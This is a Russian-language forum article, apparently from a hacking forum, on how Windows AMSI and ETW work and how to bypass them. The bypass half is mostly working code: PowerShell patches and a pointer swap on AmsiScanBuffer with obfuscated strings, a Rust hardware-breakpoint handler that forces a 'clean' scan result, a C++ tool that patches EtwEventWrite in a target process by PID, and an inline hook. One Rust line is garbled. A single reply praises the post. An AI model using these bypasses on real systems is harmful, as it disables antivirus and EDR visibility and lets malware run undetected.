• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Механизмы безопасности Amsi и Etw и способы их обхода

exodi

floppy-диск
Пользователь
Регистрация
22.05.2025
Сообщения
2
Реакции
8
Всем привет. В этой статье я разберу архитектуру и принцип работы механизмов безопасности Windows, таких как AMSI и ETW, а также расскажу о различных методов обхода, применяемые в реальных малварях. Это одна из моих первых статей, так что прошу строго не судить, поехали


Раздел 1: AMSI

О том, что такое AMSI
Antimalware Scan Interface (AMSI) – это детище Microsoft, которая впервые появилась еще в 2015 году вместе с выпуском новой системы Windows 10. Ее основная задача – заткнуть дыру в защите от скриптовых атак. До AMSI антивирусы в основном фокусировались на сканировании файлов на диске, но PowerShell-скрипты, VBA-макросы и JScript, которые живут в памяти, оставались вне досягаемости. AMSI решает эту проблему, позволяя антивирусам вроде Microsft Defender, Kaspersky или ESET проверять код до его выполнения.

Где AMSI встречается:
  • PowerShell: Любой скрипт или команда, выполняемая в PowerShell (включая интерактивный ввод)
  • WScript/JScript: старые скрипты через Windows Script Host
  • JavaScript и VBScript в Office VBA: Макросы в документах Office
  • .NET Framework: Сборки, загружаемые в память, могут быть проверены. User Account Control (UAC) также использует AMSI для проверки запускаемых COM-объектов
Идея проста: перед тем как какой-либо потенциально опасный код (например, строка PowerShell-скрипта) будет выполнена, он сначала отправляется через AMSI антивирусу. Если антивирус распознает код как вредоносный, выполнение блокируется

Как AMSI работает: Архитектура и внутренности

Работа AMSI строится вокруг нескольких ключевых API-вызовов, экспортируемых библиотекой amsi.dll:
  • AmsiInitialize(appName, &amsiContext, &amsiSession): Инициализирует AMSI API. Приложение (appName) создает контекст (amsiContext) и сессию (amsiSession)
  • AmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, &result): Основная функция. Она берет буфер с данными (buffer длиной length), опциональное имя контента (contentName) и текущую сессию, после чего отправляет это все антивирусному провайдеру. Результат сканирования (result) возвращается в виде значения перечисления AMSI_RESULT (например, AMSI_RESULT_CLEAN, AMSI_RESULT_NOT_DETECTED, AMSI_RESULT_DETECTED)
  • AmsiScanString(): Аналогична AmsiScanBuffer, но для строк
  • AmsiUninitialize(amsiContext): Освобождает контекст AMSI (Сессии закрываются отдельно через AmsiCloseSession)


Основные компоненты
  • amsi.dll: главная библиотека, живет в C:\Windows\System32. Именно через нее идут все вызовы
  • AmsiContext: структура, которая хранит состояние сессии сканирования. Создается через AmsiInitialize
  • AmsiSession: cессия, в рамках которой могут происходить множественные сканирования. Это позволяет антивирусу коррелировать разные фрагменты кода, если они передаются частями
  • Антивирус-провайдер: это COM-объект, который регистрируется в системе антивирусным продуктом (например, Windows Defender) и получает данные для анализа

Работа в PowerShell:
Когда вы вводите команду в PowerShell, интерпретатор перед ее выполнением вызывает AmsiScanString или AmsiScanBuffer. Если команда обфусцирована, PowerShell может сначала попытаться ее частично разобрать (деофбусцировать) до состояния, понятного для выполнения, и именно эту, уже менее запутанную версию, он и отправит на проверку через COM-интерфейс

Способы обхода AMSI​

Существует множество техник обхода AMSI, от простых до весьма изощренных. Я рассмотрю наиболее популярные

Патчинг в памяти
Это, пожалуй, самый распространенный класс техник. Идея заключается в изменении кода amsi.dll (или связанных с ней функций) прямо в памяти текущего процесса таким образом, чтобы сканирование либо не происходило вовсе, либо всегда возвращало "чистый" результат

Патчинг AmsiScanBuffer / AmsiScanString

Можно найти адрес функции AmsiScanBuffer в памяти и переписать ее первые байты так, чтобы она сразу же возвращала результат, указывающий, что контент чист (AMSI_RESULT_CLEAN или AMSI_RESULT_NOT_DETECTED).

PowerShell пример:
# Получение адреса AmsiScanBuffer
$ScanBufferAddress = Get-ProcAddress $('am','si.dll'-join "") $('Am', 'siScanBuffer'-join"");
Write-Host "[+] ScanBuffer Address: $ScanBufferAddress";

# Получение адреса VirtualProtect
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect;
Write-Host "[+] VirtualProtect Address: $VirtualProtectAddr";
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]);
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate);

Затем изменяются права доступа к памяти, где находится AmsiScanBuffer, на PAGE_EXECUTE_READWRITE (0x40), и записывается патч.

if([IntPtr]::Size -eq 4){ # 32-bit
$patch = [byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)
# mov eax, 0x80070057; ret 0x18 (E_INVALIDARG)
}else{ # 64-bit
$patch = [byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# mov eax, 0x80070057; ret (E_INVALIDARG)
}

[UInt32]$OldProtect = 0;
# Изменение защиты памяти
$VirtualProtect.Invoke($ScanBufferAddress, [uint32]$patch.Length, 0x40, [ref]$OldProtect);

# Копирование патча
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, [IntPtr]$ScanBufferAddress, [uint32]$patch.Length);
Write-Host "[*] Patch Sucessfull";

В данном примере патч заставляет функцию возвращать 0x80070057 (E_INVALIDARG). Хотя это и не "чистый" результат, многие реализации AMSI при получении такой ошибки просто отключают дальнейшее сканирование для текущей сессии, что равносильно обходу
Более "классический" патч для 64-битной версии, возвращающий AMSI_RESULT_CLEAN (0), мог бы выглядеть так:
{ 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 } (mov eax, 0; ret)

Обход через модификацию указателя на функцию проверки

Эта техника, заключается не в патчинге самой AmsiScanBuffer, а в изменении указателя на нее внутри вызывающего кода, например, в System.Management.Automation.dll для PowerShell

Вот пример такого обхода:
AmsiScanBuffer: Строки "amsi.dll" и "AmsiScanBuffer" деобфусцируются и используются для получения адреса AmsiScanBuffer через GetProcAddress:

$string = 'hello, world'.replace('he','a').replace('ll','m').replace('o,','s').replace(' ','i').replace('wo','.d').replace('rld','ll') # amsi.dll
$string2 = 'hello, world'.replace('he','A').replace('ll','m').replace('o,','s').replace(' ','i').replace('wo','Sc').replace('rld','an') # AmsiScan
$string3 = 'hello, world'.replace('hello','Bu').replace(', ','ff').replace('world','er') # Buffer
$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3) # $funcAddr = адрес AmsiScanBuffer

Найти адрес вызывающей функции: С помощью рефлексии ищется метод, который предположительно вызывает AmsiScanBuffer. В PowerShell это обычно System.Management.Automation.AmsiUtils.ScanContent. На выходе получается указатель на этот метод

[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()

Найти указатель на AmsiScanBuffer в коде вызывающей функции: Скрипт ищет в памяти, начиная с адреса $MethodPointer (и немного назад), последовательность байт, которая представляет собой адрес $funcAddr (адрес AmsiScanBuffer). Это место, где ScanContent хранит или откуда загружает адрес AmsiScanBuffer для вызова (например, запись в IAT или часть инструкции call)

# $PointerToCompare - это значение, прочитанное из памяти $MethodPointerToSearch + $i
if ($PointerToCompare -eq $funcAddr) {
Write-Host "Found @ $($j) : $($i)!"
[IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i # Адрес, где хранится указатель на AmsiScanBuffer
break initialloop
}

Заменить указатель: Найденный адрес ($MemoryToPatch) перезаписывается указателем на "пустышку" – другую функцию, которая ничего не делает и просто возвращает управление

[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1) # Перезаписываем указатель

Теперь, когда PowerShell попытается вызвать AmsiUtils.ScanContent, который, в свою очередь, должен был бы вызвать AmsiScanBuffer, он вместо этого вызовет функцию-пустышку, и сканирование не произойдет

Обход с использованием аппаратных точек останова

Точки останова — это способ приостановить выполнение программы, когда она достигает определенной инструкции.
Но у этого способа есть проблема — он изменяет память: чтобы установить классическую программную точку останова, отладчик заменяет первую байтовую инструкцию в нужной функции на INT 3 (опкод 0xCC). Эта инструкция вызывает исключение EXCEPTION_BREAKPOINT, которое перехватывается отладчиком или пользовательским обработчиком.
Чтобы избежать вышеописанных проблем, можно использовать аппаратные точки останова. Они, в отличие от программных, не вносят изменений в память программы, а работают через отладочные регистры процессора (DR0–DR3), которые доступны на архитектуре x86/x64.
Каждый из этих регистров может быть настроен на отслеживание определенного адреса в памяти, при доступе к которому (исполнение, чтение или запись) срабатывает специальное исключение — EXCEPTION_SINGLE_STEP. Это исключение можно обработать, аналогично EXCEPTION_BREAKPOINT, но без необходимости вмешиваться в байт-код целевой функции.
Вместо патчинга памяти можно использовать аппаратные брейкпоинты для перехвата вызовов AmsiScanBuffer. Вот пример на Rust:

unsafe extern "system" fn exception_handler(exceptions: *mut EXCEPTION_POINTERS) -> LONG {
let context = &mut *(*exceptions).ContextRecord;
let exception_code = (*(*exceptions).ExceptionRecord).ExceptionCode;
let exception_address = (*(*exceptions).ExceptionRecord).ExceptionAddress as usize;

if exception_code == EXCEPTION_SINGLE_STEP {
if let Some(amsi_address) = AMSI_SCAN_BUFFER_PTR {
if exception_address == amsi_address as usize {
println!("[+] AMSI Bypass invoked at address: {:#X}", exception_address);
let return_address = get_return_address(context);
let scan_result_ptr = get_arg(context, 5) as *mut i32;
*scan_result_ptr = AMSI_RESULT_CLEAN;

set_ip(context, return_address);
adjust_stack_pointer(context, std::mem::size_of::<*mut u8>() as i32);
set_result(context, S_OK as usize);

clear_breakpoint(context, 0);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
EXCEPTION_CONTINUE_SEARCH
}

fn setup_bypass() -> Result<*mut c_void, String> {
let mut thread_ctx: CONTEXT = unsafe { std::mem::zeroed() };
thread_ctx.ContextFlags = CONTEXT_ALL;

unsafe {
let module_handle = LoadLibraryA(CString::new("amsi.dll").unwrap().as_ptr());
let amsi_scan_buffer = GetProcAddress(module_handle, CString::new("AmsiScanBuffer").unwrap().as_ptr());
AMS ?.unwrap().as_ptr());
AMSI_SCAN_BUFFER_PTR = Some(amsi_scan_buffer as *mut u8);
}

let h_ex_handler = unsafe { AddVectoredExceptionHandler(1, Some(exception_handler)) };
// Установка брейкпоинта на AmsiScanBuffer
// ...
}

Как это работает:

Устанавливается аппаратный брейкпоинт на AmsiScanBuffer через регистр DR0
При вызове функции срабатывает исключение EXCEPTION_SINGLE_STEP
В обработчике исключений подменяем результат на AMSI_RESULT_CLEAN

Это наиболее предпочительный метод, относительно предыдущих. Он не изменяет память, что вызывает меньше подозрений у EDR/AV систем и в целом сложнее детектируется. Плюс он будет работать даже при защищенной памяти.

Раздел 2: ETW (Event Tracing for Windows)​

Что такое ETW
ETW — это механизм логирования событий, встроенный в Windows с 2000 года. Он фиксирует все: от загрузки модулей до вызовов API. Антивирусы и EDR (Defender, Crowdstrike, SentinelOne) используют ETW как свои глаза и уши, чтобы отслеживать подозрительную активность

ETW может собирать информацию из огромного количества источников (провайдеров), включая:
  • Ядро Windows: события процессов, потоков, загрузки образов, сетевой активности, файловой системы и т.д.
  • PowerShell: детальное логирование выполнения скриптов, команд, пайплайнов (ScriptBlock Logging, Module Logging, Transcription).
  • .NET Runtime: события загрузки сборок, JIT-компиляции, исключений и т.д.
  • API хуки и сенсоры EDR: многие EDR используют ETW для получения телеметрии от своих сенсоров, размещенных в системе
  • Sysmon: создание процессов, загрузка модулей, доступ к файлам

Как работает ETW: Архитектура и внутренности
ETW состоит из трех основных компонентов:
  • Провайдеры событий (Providers): это приложения или компоненты ОС, которые генерируют события. Каждый провайдер имеет уникальный GUID. Например:
    • Microsoft-Windows-PowerShell (для событий PowerShell)
    • Microsoft-Windows-DotNETRuntime (для событий .NET)
    • Microsoft-Windows-Kernel-Process (для событий создания/завершения процессов)
  • Контроллеры: это приложения, которые управляют сессиями трассировки. Контроллер может запускать и останавливать сессии, включать тех или иных провайдеров для сессии и указывать, куда писать логи (в файл или в буфер для real-time обработки).
  • Потребители событий: это приложения, которые читают и обрабатывают события из сессий трассировки. Они могут читать события из лог-файлов или подписываться на real-time сессии. EDR-агенты являются типичными потребителями ETW-событий

Ключевые API:
  • EventRegister(): используется провайдером для регистрации в системе ETW
  • EventWrite() / EtwEventWrite(): используется провайдером для записи (публикации) события. EtwEventWrite – это низкоуровневая функция из ntdll.dll
  • StartTrace(): используется контроллером для запуска сессии трассировки
  • EnableTraceEx2(): используется контроллером для включения провайдера в сессии, с возможностью фильтрации по ключевым словам и уровням
  • OpenTrace() / ProcessTrace(): используется потребителем для чтения и обработки событий

Трассировка PowerShell и .NET через ETW
PowerShell является одним из самых болтливых ETW-провайдеров, что делает его излюбленной целью для мониторинга со стороны EDR. Например:
  • ScriptBlock Logging (Microsoft-Windows-PowerShell/Operational): логирует полный текст выполняемых блоков скриптов. Если блок скрипта деобфусцируется перед выполнением, то в лог попадет именно деобфусцированная версия
  • Module Logging: логирует события выполнения пайплайна для указанных модулей PowerShell
  • PowerShell Transcription: записывает весь ввод и вывод консоли PowerShell в текстовый файл

Аналогично, .NET Runtime через провайдер Microsoft-Windows-DotNETRuntime может логировать:
  • Загрузку сборок (включая те, что загружены из памяти)
  • Методы, которые JIT-компилируются
  • Исключения
  • GC (сборка мусора) и другие события CLR

EDR-системы активно подписываются на эти и многие другие ETW-события, чтобы строить поведенческие модели и детектировать аномалии


Способы обхода ETW​


Обход ETW обычно сводится к тому, чтобы либо "ослепить" провайдера (чтобы он не мог отправлять события), либо обмануть потребителя, либо вовсе отключить нежелательные источники логов

Патчинг ETW-функций
Самый прямолинейный способ — подменить EtwEventWrite так, чтобы она ничего не логировала. Пример:
#include <windows.h>
#include <iostream>

typedef NTSTATUS (NTAPI *NtProtectVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PSIZE_T RegionSize,
ULONG NewAccessProtection,
PULONG OldAccessProtection
);

typedef NTSTATUS (NTAPI *NtWriteVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);

int main(int argc, char* argv[]) {
if (argc < 2) {
std::cerr << "Usage: " << argv[0] << " <PID>" << std::endl;
return 1;
}

DWORD pid = std::stoi(argv[1]);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
NtProtectVirtualMemory_t pNtProtectVirtualMemory = (NtProtectVirtualMemory_t)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
NtWriteVirtualMemory_t pNtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(hNtdll, "NtWriteVirtualMemory");

FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
if (!hProcess) {
std::cerr << "Failed to open process: " << GetLastError() << std::endl;
return 1;
}

unsigned char patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax, rax; ret
SIZE_T patchSize = sizeof(patch);
PVOID baseAddress = (PVOID)pEtwEventWrite;
SIZE_T regionSize = patchSize;
ULONG oldProtection;

NTSTATUS status = pNtProtectVirtualMemory(hProcess, &baseAddress, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtection);
if (!NT_SUCCESS(status)) {
std::cerr << "NtProtectVirtualMemory failed: 0x" << std::hex << status << std::endl;
CloseHandle(hProcess);
return 1;
}

ULONG bytesWritten;
status = pNtWriteVirtualMemory(hProcess, pEtwEventWrite, patch, patchSize, &bytesWritten);
if (!NT_SUCCESS(status) || bytesWritten != patchSize) {
std::cerr << "NtWriteVirtualMemory failed: 0x" << std::hex << status << std::endl;
CloseHandle(hProcess);
return 1;
}

pNtProtectVirtualMemory(hProcess, &baseAddress, &regionSize, oldProtection, &oldProtection);
CloseHandle(hProcess);
std::cout << "ETW patched successfully for PID: " << pid << "!" << std::endl;
return 0;
}


Как это работает:
  • Открываем процесс по PID
  • Находим адрес EtwEventWrite в ntdll.dll
  • Меняем защиту памяти и записываем патч xor rax, rax; ret (возвращает 0)
  • Восстанавливаем защиту памяти

Из плюсов такого байпаса полное отключение логгирования ETW. Из минусов - он требует прав на запись в память процесса


Inline Hooking

Вместо полного патчинга можно поставить хук, который перехватывает вызовы EtwEventWrite и возвращает 0. Пример на C++:

#include <windows.h>

void* originalEtwEventWrite;
unsigned char hook[] = { 0xC3 }; // ret

__declspec(naked) void EtwEventWriteHook() {
__asm {
mov eax, 0
ret
}
}

BOOL InstallHook() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
originalEtwEventWrite = (void*)GetProcAddress(hNtdll, "EtwEventWrite");

DWORD oldProtect;
VirtualProtect(originalEtwEventWrite, sizeof(hook), PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(originalEtwEventWrite, hook, sizeof(hook));
VirtualProtect(originalEtwEventWrite, sizeof(hook), oldProtect, &oldProtect);
return TRUE;
}

Этот способ будет получше предыдущего, так как он требует минимальных изменений в памяти и проще в реализации, но всё ещё модифицирует память, что может тригерить AV и EDR системы


Reflective DLL Loading
Еще можно использовать технику исполнения пейлоада Reflective DLL Loading. Reflective DLL Loading. Загрузка DLL напрямую в память (без LoadLibrary) не генерирует событий ETW. Здесь без примеров, т.к. это тема для отдельной статьи, да и без меня, думаю, тут уже много раз писали про это


Аппаратные брейкпоинты
Как и с AMSI, можно использовать брейкпоинты для перехвата NtTraceControl. Вот пример на rust:

[B]unsafe {[/B]
[B] let ntdll_module_handle = GetModuleHandleA(CString::new("ntdll.dll").unwrap().as_ptr());[/B]
[B] let ntdll_function_ptr = GetProcAddress(ntdll_module_handle, CString::new("NtTraceControl").unwrap().as_ptr());[/B]
[B] NT_TRACE_CONTROL_PTR = Some(ntdll_function_ptr as *mut u8);[/B]
[B][/B]
[B] let h_ex_handler = AddVectoredExceptionHandler(1, Some(exception_handler));[/B]
}

Вот так выглядит логика такого обхода:

1) Адрес NtTraceControl получается из ntdll.dll
2) Устанавливается аппаратный брейкпоинт на начало NtTraceControl, аналогично тому, как это делалось для AmsiScanBuffer
3) Когда брейкпоинт срабатывает, обработчик исключений:
  • Ищет в памяти, начиная с адреса NtTraceControl (или немного дальше), простую инструкцию ret (опкод 0xC3). Это называется гаджет
  • Перенаправляет выполнение (регистр RIP) на найденный гаджет, чтобы NtTraceControl сразу вернула управление, не выполняя своих основных функций
4) После этого брейкпоинт очищается


Заключение​


В этой статье я разобрал принцип работы, а также способы обхода ключевых инструментов безопасности Windows, перехватывающих скрипты и логирующие системные события — AMSI и ETW. Надеюсь, что вы узнали что-то новое для себя. Спасибо всем за прочтение!


telegram - @dxodi
 
Ты прям как цифровой хирург, который под микроскопом препарировал AMSI и ETW! Техники патчинга AmsiScanBuffer и обхода ETW с аппаратными точками останова показывают, как глубоко ты нырнул в недра Windows. Такой уровень реверс-инжиниринга и манипуляций с рантаймом... это просто отвал башки. Спасибище, что поделился этим шедевром! Это и звонок в колокол для защитников кибербезопасности, и целый мастер-класс для нас, фанатов таких игр!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх